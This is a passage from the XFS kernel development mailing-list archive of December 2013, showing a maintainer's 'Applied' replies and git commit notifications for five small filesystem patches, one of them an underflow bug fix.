02/l0v8AZ/7eGPmznpnHn/5xXr//AI+NNO+n1XZ/T+en49L/AGaf25w/77+zj3/84r+XT/Z7/H93 6rpp/wAr8tf8vTf7Ny14b97/AGcZkZ/5ow+osfaf7PL3XvG3t/J9Y8fn85PF5PF/E2eTTdt+bT07 9OPw0/t++P6MI+bHLHMl/wBKf/B7/wADn/7I/wDuRn/k/wD8vV3w9/yfV+nFfxfX9eP/2Q== --1386193217.6Bbb152444.24513 Date: Wed, 4 Dec 2013 22:40:17 +0100 MIME-Version: 1.0 Content-Type: image/jpeg; name="drapeau-anglais.jpg" Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <138618672524513529531> /9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDov L25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENl aGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4 OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6 MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5 OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHht bG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6 Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUu Y29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBo b3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1RkNGMzE5RDRE NDAxMUUzOEU4QUI0RERGRjFCNjgyRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1RkNGMzE5 RTRENDAxMUUzOEU4QUI0RERGRjFCNjgyRiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0 YW5jZUlEPSJ4bXAuaWlkOjVGQ0YzMTlCNEQ0MDExRTM4RThBQjREREZGMUI2ODJGIiBzdFJlZjpk b2N1bWVudElEPSJ4bXAuZGlkOjVGQ0YzMTlDNEQ0MDExRTM4RThBQjREREZGMUI2ODJGIi8+IDwv cmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJy Ij8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMD AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgAHgAyAwERAAIRAQMR Af/EAKsAAAMBAAMAAAAAAAAAAAAAAAcICQoEBQYBAAMBAQEBAAAAAAAAAAAAAAYHCAUJAgEQAAAG AgEBAwkGBwAAAAAAAAIDBAUGBwEICRIAERMiMxQVZTYXNzgjYzQ1V1khYmQWVhgZEQABAwIDBQMH BgkNAAAAAAABAgMEEQUhBgcAMRITCEFhMlEiYjMUNBUjU1Q1GAmRUkNjJGQWVhlxoUJyguJzRNRV lTYo/9oADAMBAAIRAxEAPwA58fvIzXsyjqKpIJFoTtVE1DCKOzfRfZSP1yg2baW4tGFM/wD+ttor GZNC9oYYo6TDSI2qARKSSO4gKAAA5Ui85u0o1h0bKMw2jm5iyMQl4FBPtkQLAXQHeUorQBVRQAJU NrUhXfp51+htW3ObcfTvVtLSGkXOMhSrDcVoSEJM+OCV299yg5khs8pSiXHFKNEAfbG8HWsm7rJL rq4grdxDLEYhKVFiaL3M6OcYdoq9FmDwuYmIyTnjlVYOBSr7AtG6+sY8af3gIcEZIenDt0m6mMsX 9lMLMTEd/g81boYbRJZPkkR+EFVO1aAD3OHZG6qaKakaM3BuJniCU22QOKLOYUH4ExBxS5GlN1ac Ck+dwkpdSKFTadp/cZ1F2tR815U6o2Mq2UV5ZUI46LAcBRGyWAaZ1algLaq0hLIWIS8tQicEKkow Xorq3GnpVBQ+8k4Yc9/bX6tJlknaILu2XVxlR1vGjrASn8i4aEoAUkg70qooHeAdiXpbZjy+orJj ElCHY679HCkrSFpUMcFJUCkjuIO3Y3iwmufELO8sLCa5zJy5KKFjLEBiZxr5U55dKCtAZUdZimxK c8rxuS4AMhRkYHk43Ae4Ahd3aeugtaJd9vCrmQ6wiMpRLxC0pA5GNXKhIGOOFMdqv+8xt9ttmoOV k26PHjNKsUgqDTbbQJEw4qCEpBIHacabCfWjibmrjLWBp2mzZ3xHegJl8X0coMaN+2kk6U4IDilN yyI8LrCNTYaIsYcqz34K2TFEZyL1Umx0n4orVbqfyFlCUvLOQ4Ee/wCdDUBtlpCmWj5XFhNCE9pq EjfUjaXNMunHOGfLMc9ZlkRcqaSNGrt6uZLTKx+JBYJS9PeVuQlkctSsObXA6IJtr5pNx+VDD5Ry cSup6fgLLkySVBxw63kjfnOTvRReSy3Wx5RlYrt3YucKMlZJXvTu5p4+mN+zEtAkFgnE2WTTfVPX O/8AxjOLq3qKB9mjn2eDGHYHnG+ELKQfAjfjwhYJGxxddcNM9Jrc/lPpotCXLi6gtyczXdhqRcpA Pi9hjOIUxbmSaFNEF4ihUlDg49pwf95dMP212T59fEX8LT306fpj7qfmXsT8h/q+z/8As6j6XD95 9g93O/yf4Pdv9DaW/wBps0/7lP8Aeva/eHfevpHj9d+c8ffsO2p14c0qJmG68VEucZCiRtJy5/Sb rXI1GLH5KnTmKXxIQm/i1qFDiASgvBIg+AMWOjIenHdLy+uDUGEpUBto8pmrQr7NQpR5gwMY7wO2 vfXbpfa/ux7pc7XFuX7ax0JkxmnuH4Ws8PNbS5w19tFeHipWgrStBs84+TPTMx4ruWD0NtH4i1Wj LbYdbxW5dgprmC2p+4KJuk9sJmMmdz5I3kBwQRh+XOQy0wcE9WSvI7I/MGruX8y339pbhYkt3yte bGfEVRPlIjtNpNe0EU7sTs68pdF2sWS8oysg2nUiM9keZ6y3zLI3Oh47y0xMkvIYJ3kshs8XneIA gqbQc4kO2No61KoBqWfGJRYlXv8AVzfZS+y2WQPceZpCc3KVxQjA163Oa1tVLGlOeoSAVEFqDyCx i8oAc4+5g1qN8y7Ky8mC60zJbKal/iSFUICyjlgKIBIrUHE447Y+lH3eszTPU6y6iOZrjzEWm4ty jHTbltczgJPAlZlrDda0B4FUGFNkt0c5A4LqfUdo1NOqLkdrJbDnjZOW6RRO11FTySGq0ETNiJ4o 7JGmPuMmYndY2KlJOXBsWoVQUio4jA+gwfUI5K1ARlK0TbQ5HkOsTlDjLUhUc8AABQVIBUQSkE0I 3bPbqG6YblrbnixZ4tV6gWyZY4bjKG5dsbubTilvF0OKaedSyoJrghxtxPEAreBR4KF5pNZdYYw7 RSiePY2vkb+oUrZC8IbxKc5lInBUIwZjjIps+wBzlL8uLMNEIoatUdgnOfIwHHfjsVWLVrL+W2Sx ZrEGUKVxKPP4lLO+q1qbK1/2lHu2RepHQpqrq5cm7pqFqX8QfYbCGUG1luOwgCnCxGamIYZFAK8t tPFQcRO09rIuDihuOcSGzba4zrZsuxZYrEukk3nG/N5yOTPKkWc5DlY6OQz1Ho5GM9JJAMgITl4w AoAAYwHDng9bmd7ZERAt0VDEJsUS22IqUpHcBFp/Kd53kk7Lj+FzdOzPEf8A4pf+u2Cfj8Vf7bT/ APM/076r7W+VX6Yed877W/GfzdtL7YOePmj6v4lvY9b5Pd/7vo7Av8PG4/vcx/2b4P8AVyvF9I97 3fmt/p7e/wBWdwqW2ynTPSWvHA033rYyFC2I5A5M22FsNrO3BILIblUvnMgUxlJFIGzL1YBHZMWq iQd4vDJ8UeMBE9rv0h6Q2e1pv+YZ7UZl5Ac85t0qUpaQspQkSuJaqnclPeaDafY/Wb1OQYrcOPm2 SiKy2ltCfZYB4UISEpTUxSTRIAqanCpNdr9WbrfxY64Q6GsGwepEDdttZqgAazao6z2Xd11zd2eF vloGhkNVOsSdDW8BYw+O7OTc1JM4CYIkJuAYwKUc5Zc0YyxNMOHDclyVmjDCeb7S75DykPrDYJ3F S6U7ScNnrpPqt1y6tNO3m25pXbchxCTLvNwYt8W2xkJ8ZU+uJR1aR+SZC11ICgkHi2Qd6RccVo1J uPX0U1oqGq9sKN1vmV1Yi1X3nY96HVInYJFHYwUhsmblLEdVo7Hw5SVP3x9tUPw0YCz8LxpTghIF 7zJotMsulsrPt/y63ZkOIKYqVSHXHyooUsLU2aBI4U9tak/gPsjdSefJ3UTlfTywahXPN2VJd3aY mvuWqFAiPpVgpEagXJcaJB+WUGK4cAUDxbCPj4b+NeGa5zy7ORiKoT4qt2egtCxOwXI+fBZ4Y4y6 snuZIsSfEHem81tjKo6NKQnOBidQFMcaV4uSyOswsf6f9KYuqEe5MCCidcovyiUlxSFFsBAUlFFp ClVWCEnEitKmgLF69detXNIM5Zetem15etkKbaXnnkIajOBbiJKmwol9l0ghNBRJAwxFdqkXjqPp XUqWO29COOCH7MahyNpA9mXjrpe1l2FLI0yHJfFBJltYJZAUTLIqQYARhixjeVeMJgiEMJQg4APR zRkWxZSuBTcMsretDaqPKadf9pZp4uOMspJpj4VnDE02R+lXUBrBqtbHLQxq0ux6pHCNCudut7Nv mLJ81tq5oaWGnFYAIfjoqsgJKwSRFzY7Z/WPXVlDY4eGWoLk15cXIDZHtkqf3JvCQVepXH9+UrDN SVcJRSmn5yIPkmMUpRNizJmBYTZVFYwcKitNenfp71XtibhlC6NOv08+OptxL7Z7Qpsy6mnlTXvp ss8/dR3W7pbmBeV9QL5c7XekiqUOw7fwOo+cYdTFLT7R3hbS1p8tDhsiH/ULTL9rKI+/nxI+qCyv cT9KfdX8P7V8/wDddjr7IGRPnf8AO/DvVueq8vvH82/0tlh9rDqI/eeR9Y/EPdoXvnz/ALtv9Dwe jtpj15n1lTzVxqhfE9SUUoXUuOQ3K+xrtpB11+tDY+xZw3MpOZVH4pWRdvpnCL2o/L/GABbNlQX0 IMlmZLTDwWSJKaho1du9/FtvqnLTA5SKzH+KQ/yOEcPsrDIWkI4fDwcRPYErqNtHTEdOeTrSzmbP BlZw1EdWkR7KAq3Wllaj5q7jcZPKLraDTmIaQlkYpUpxuqxms2Lm+/c7g97la70lMaHqiOLHNv2R y3T9FZe+c+RdQvXci2ifkSsN/JIKd3ZE4I2JgY4Mlxnw1gleQ+OJ2dOsTpns1yMXK0ty8ai1+Vfn tFiQXO3ltzSyQa7vEondQ7bXUtN6krlFttw1dhi36cuoSbXGtqoy8vMt0+TRGXb3pEJTgT4VPPLk EVIoMANeGM0tC2cmeG5MN4TrOOKfJDRs2UZZLSlHbFWjE6LMOippwagKGDAMhSYUqciFjpKyHqzg 56yHnJGjzyHWnWRzlec5wU9S782t1Xf4d3fhsD9Ljq2eorJjqG3HVpv0c8CODjVicE8xbaKn0lpH lI2LWwZ4x8OdmIMolZSQfIzRysb2blD6sJUF6/WiUBrMKJXHPIlygseTQCAkEmwAGcCNCPpDmbOg j9GzBdi1+kEx1YNYEeoxPO5I/ASe7fSrvvMJbsvUHKqnY0iMU2OQAHiwSr9MOI5D74p2ecUmvZTH bhcKL1zRQ96epNxqQ+T2vTrS6YPsCuZ8ubWbWeVL/HJ9YN6N3st/g0ZbJuMPT458YdCHosOcCUBN JxkGbf1Sd00ktJYzy25Huak/JuN8pUpA7CUtOOKLfkDqCj8Whx25pr4P6e/bRLJZLrxsFKJYsUV5 LeP3fxvjjl/sW0Va5Uvspq86MRJPVIMbQrYTMHjX12rNeLAgrxzMUcdE4xZ9LLNyAvI+b+YLNk5e fxH0qvEhGeAsFt6DGkcSlVwTKaaQtsKr4jx17So7tr1yVmbW/LGj7UjXHLcfM3Te4Qllm9y4sKY3 hguxvS5DVxDgTi0mM280oCjYSCVbQA/uvSj9NeMX6lvVPn5p5j/L/md9KXsz3U++7PH/ANifq+/g 7PrD57+v6Hre7Za8HRd+Pn7605+6L9V/Qd3v36x4fS2//9k= --1386193217.6Bbb152444.24513-- From bpm@sgi.com Wed Dec 4 15:52:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 403DC29E12 for ; Wed, 4 Dec 2013 15:52:59 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id F2C62304093; Wed, 4 Dec 2013 13:52:58 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C6E914266DC; Wed, 4 Dec 2013 15:52:58 -0600 (CST) Date: Wed, 4 Dec 2013 15:52:58 -0600 From: Ben Myers To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfs: simplify xfs_setsize_buftarg callchain; remove unused arg Message-ID: <20131204215258.GY1935@sgi.com> References: <5283BC4B.9090204@redhat.com> <5283E6D9.6070306@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5283E6D9.6070306@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Nov 13, 2013 at 02:53:45PM -0600, Eric Sandeen wrote: > The "verbose" argument to xfs_setsize_buftarg_flags() has been > unused since: > > ffe37436 xfs: stop using the page cache to back the buffer cache > > Remove it, and fold the function into xfs_setsize_buftarg() > now that there's no need for different types of callers. > > Fix inconsistent comment spacing while we're at it. > > Signed-off-by: Eric Sandeen Applied. From bpm@sgi.com Wed Dec 4 15:53:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C62BF29E19 for ; Wed, 4 Dec 2013 15:53:24 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A05E9304097; Wed, 4 Dec 2013 13:53:24 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 723DD4266DC; Wed, 4 Dec 2013 15:53:24 -0600 (CST) Date: Wed, 4 Dec 2013 15:53:24 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: remove unused FI_ flags Message-ID: <20131204215324.GZ1935@sgi.com> References: <20131115173848.GA24872@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131115173848.GA24872@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Nov 15, 2013 at 09:38:48AM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig Applied. From bpm@sgi.com Wed Dec 4 15:54:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 710D929E12 for ; Wed, 4 Dec 2013 15:54:03 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD6FA8F8035; Wed, 4 Dec 2013 13:53:59 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 814164266DC; Wed, 4 Dec 2013 15:53:59 -0600 (CST) Date: Wed, 4 Dec 2013 15:53:59 -0600 From: Ben Myers To: Dan Carpenter Cc: Fabian Yamaguchi , security@kernel.org, Alex Elder , Nico Golde , xfs@oss.sgi.com Subject: Re: [patch] xfs: underflow bug in xfs_attrlist_by_handle() Message-ID: <20131204215359.GA1935@sgi.com> References: <20131025144452.GA28451@ngolde.de> <20131031180010.GA24839@longonot.mountain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131031180010.GA24839@longonot.mountain> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Oct 31, 2013 at 09:00:10PM +0300, Dan Carpenter wrote: > If we allocate less than sizeof(struct attrlist) then we end up > corrupting memory or doing a ZERO_PTR_SIZE dereference. > > This can only be triggered with CAP_SYS_ADMIN. > > Reported-by: Nico Golde > Reported-by: Fabian Yamaguchi > Signed-off-by: Dan Carpenter Applied. Thanks Dan. From bpm@sgi.com Wed Dec 4 15:54:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 64BC629E12 for ; Wed, 4 Dec 2013 15:54:34 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3D28A304093; Wed, 4 Dec 2013 13:54:34 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 0E3B84266DC; Wed, 4 Dec 2013 15:54:34 -0600 (CST) Date: Wed, 4 Dec 2013 15:54:34 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix the comment explaining xfs_trans_dqlockedjoin Message-ID: <20131204215433.GB1935@sgi.com> References: <20131106114536.GA18548@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131106114536.GA18548@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Nov 06, 2013 at 03:45:36AM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig Applied this. From bpm@sgi.com Wed Dec 4 15:55:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A31029E12 for ; Wed, 4 Dec 2013 15:55:07 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id EDDE3AC002; Wed, 4 Dec 2013 13:55:06 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A7FEF4266DC; Wed, 4 Dec 2013 15:55:06 -0600 (CST) Date: Wed, 4 Dec 2013 15:55:06 -0600 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: don't perform discard if the given range length is less than block size Message-ID: <20131204215506.GC1935@sgi.com> References: <528C6E15.3030801@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <528C6E15.3030801@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Nov 20, 2013 at 04:08:53PM +0800, Jeff Liu wrote: > From: Jie Liu > > For discard operation, we should return EINVAL if the given range length > is less than a block size, otherwise it will go through the file system > to discard data blocks as the end range might be evaluated to -1, e.g, > # fstrim -v -o 0 -l 100 /xfs7 > /xfs7: 9811378176 bytes were trimmed > > This issue can be triggered via xfstests/generic/288. > > Also, it seems to get the request queue pointer via bdev_get_queue() > instead of the hard code pointer dereference is not a bad thing. > > Signed-off-by: Jie Liu Applied this. From bpm@oss.sgi.com Wed Dec 4 15:55:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 2BFBE29E1A; Wed, 4 Dec 2013 15:55:26 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.13-rc1-2-13365-gf9fd013 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: dc1ccc48159d63eca5089e507c82c7d22ef60839 X-Git-Newrev: f9fd0135610084abef6867d984e9951c3099950d Message-Id: <20131204215526.2BFBE29E1A@oss.sgi.com> Date: Wed, 4 Dec 2013 15:55:25 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated f9fd013 xfs: don't perform discard if the given range length is less than block size 10f73d2 xfs: fix the comment explaining xfs_trans_dqlockedjoin 071c529 xfs: underflow bug in xfs_attrlist_by_handle() f230077 xfs: remove unused FI_ flags 3fefdee xfs: simplify xfs_setsize_buftarg callchain; remove unused arg from dc1ccc48159d63eca5089e507c82c7d22ef60839 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f9fd0135610084abef6867d984e9951c3099950d Author: Jie Liu Date: Wed Nov 20 16:08:53 2013 +0800 xfs: don't perform discard if the given range length is less than block size For discard operation, we should return EINVAL if the given range length is less than a block size, otherwise it will go through the file system to discard data blocks as the end range might be evaluated to -1, e.g, # fstrim -v -o 0 -l 100 /xfs7 /xfs7: 9811378176 bytes were trimmed This issue can be triggered via xfstests/generic/288. Also, it seems to get the request queue pointer via bdev_get_queue() instead of the hard code pointer dereference is not a bad thing. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 10f73d27c8e977fb6fbd6058517069be830c6c9a Author: Christoph Hellwig Date: Wed Nov 6 03:45:36 2013 -0800 xfs: fix the comment explaining xfs_trans_dqlockedjoin Signed-off-by: Christoph Hellwig Reviewed-by: Carlos Maiolino Signed-off-by: Ben Myers commit 071c529eb672648ee8ca3f90944bcbcc730b4c06 Author: Dan Carpenter Date: Thu Oct 31 21:00:10 2013 +0300 xfs: underflow bug in xfs_attrlist_by_handle() If we allocate less than sizeof(struct attrlist) then we end up corrupting memory or doing a ZERO_PTR_SIZE dereference. This can only be triggered with CAP_SYS_ADMIN. Reported-by: Nico Golde Reported-by: Fabian Yamaguchi Signed-off-by: Dan Carpenter Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit f23007784570278ca5963c35d5b3847d710ed695 Author: Christoph Hellwig Date: Fri Nov 15 09:38:48 2013 -0800 xfs: remove unused FI_ flags Signed-off-by: Christoph Hellwig Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers commit 3fefdeee92686995ff03e847cbd7bf5ebcd85ff8 Author: Eric Sandeen Date: Wed Nov 13 14:53:45 2013 -0600 xfs: simplify xfs_setsize_buftarg callchain; remove unused arg The "verbose" argument to xfs_setsize_buftarg_flags() has been unused since: ffe37436 xfs: stop using the page cache to back the buffer cache Remove it, and fold the function into xfs_setsize_buftarg() now that there's no need for different types of callers. Fix inconsistent comment spacing while we're at it. Signed-off-by: Eric Sandeen Reviewed-by: Brian Foster Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf.c | 26 ++++++++------------------ fs/xfs/xfs_discard.c | 5 +++-- fs/xfs/xfs_ioctl.c | 3 ++- fs/xfs/xfs_ioctl32.c | 3 ++- fs/xfs/xfs_trans_dquot.c | 4 ++-- fs/xfs/xfs_vnode.h | 9 --------- 6 files changed, 17 insertions(+), 33 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Wed Dec 4 15:55:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 7EACE29E21; Wed, 4 Dec 2013 15:55:37 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc1-2-13365-gf9fd013 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: dc1ccc48159d63eca5089e507c82c7d22ef60839 X-Git-Newrev: f9fd0135610084abef6867d984e9951c3099950d Message-Id: <20131204215537.7EACE29E21@oss.sgi.com> Date: Wed, 4 Dec 2013 15:55:36 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated f9fd013 xfs: don't perform discard if the given range length is less than block size 10f73d2 xfs: fix the comment explaining xfs_trans_dqlockedjoin 071c529 xfs: underflow bug in xfs_attrlist_by_handle() f230077 xfs: remove unused FI_ flags 3fefdee xfs: simplify xfs_setsize_buftarg callchain; remove unused arg from dc1ccc48159d63eca5089e507c82c7d22ef60839 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f9fd0135610084abef6867d984e9951c3099950d Author: Jie Liu Date: Wed Nov 20 16:08:53 2013 +0800 xfs: don't perform discard if the given range length is less than block size For discard operation, we should return EINVAL if the given range length is less than a block size, otherwise it will go through the file system to discard data blocks as the end range might be evaluated to -1, e.g, # fstrim -v -o 0 -l 100 /xfs7 /xfs7: 9811378176 bytes were trimmed This issue can be triggered via xfstests/generic/288. Also, it seems to get the request queue pointer via bdev_get_queue() instead of the hard code pointer dereference is not a bad thing. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 10f73d27c8e977fb6fbd6058517069be830c6c9a Author: Christoph Hellwig Date: Wed Nov 6 03:45:36 2013 -0800 xfs: fix the comment explaining xfs_trans_dqlockedjoin Signed-off-by: Christoph Hellwig Reviewed-by: Carlos Maiolino Signed-off-by: Ben Myers commit 071c529eb672648ee8ca3f90944bcbcc730b4c06 Author: Dan Carpenter Date: Thu Oct 31 21:00:10 2013 +0300 xfs: underflow bug in xfs_attrlist_by_handle() If we allocate less than sizeof(struct attrlist) then we end up corrupting memory or doing a ZERO_PTR_SIZE dereference. This can only be triggered with CAP_SYS_ADMIN. Reported-by: Nico Golde Reported-by: Fabian Yamaguchi Signed-off-by: Dan Carpenter Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit f23007784570278ca5963c35d5b3847d710ed695 Author: Christoph Hellwig Date: Fri Nov 15 09:38:48 2013 -0800 xfs: remove unused FI_ flags Signed-off-by: Christoph Hellwig Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers commit 3fefdeee92686995ff03e847cbd7bf5ebcd85ff8 Author: Eric Sandeen Date: Wed Nov 13 14:53:45 2013 -0600 xfs: simplify xfs_setsize_buftarg callchain; remove unused arg The "verbose" argument to xfs_setsize_buftarg_flags() has been unused since: ffe37436 xfs: stop using the page cache to back the buffer cache Remove it, and fold the function into xfs_setsize_buftarg() now that there's no need for different types of callers. Fix inconsistent comment spacing while we're at it. Signed-off-by: Eric Sandeen Reviewed-by: Brian Foster Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf.c | 26 ++++++++------------------ fs/xfs/xfs_discard.c | 5 +++-- fs/xfs/xfs_ioctl.c | 3 ++- fs/xfs/xfs_ioctl32.c | 3 ++- fs/xfs/xfs_trans_dquot.c | 4 ++-- fs/xfs/xfs_vnode.h | 9 --------- 6 files changed, 17 insertions(+), 33 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Wed Dec 4 16:01:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8F80829E12 for ; Wed, 4 Dec 2013 16:01:19 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 774F18F8039; Wed, 4 Dec 2013 14:01:16 -0800 (PST) Received: by 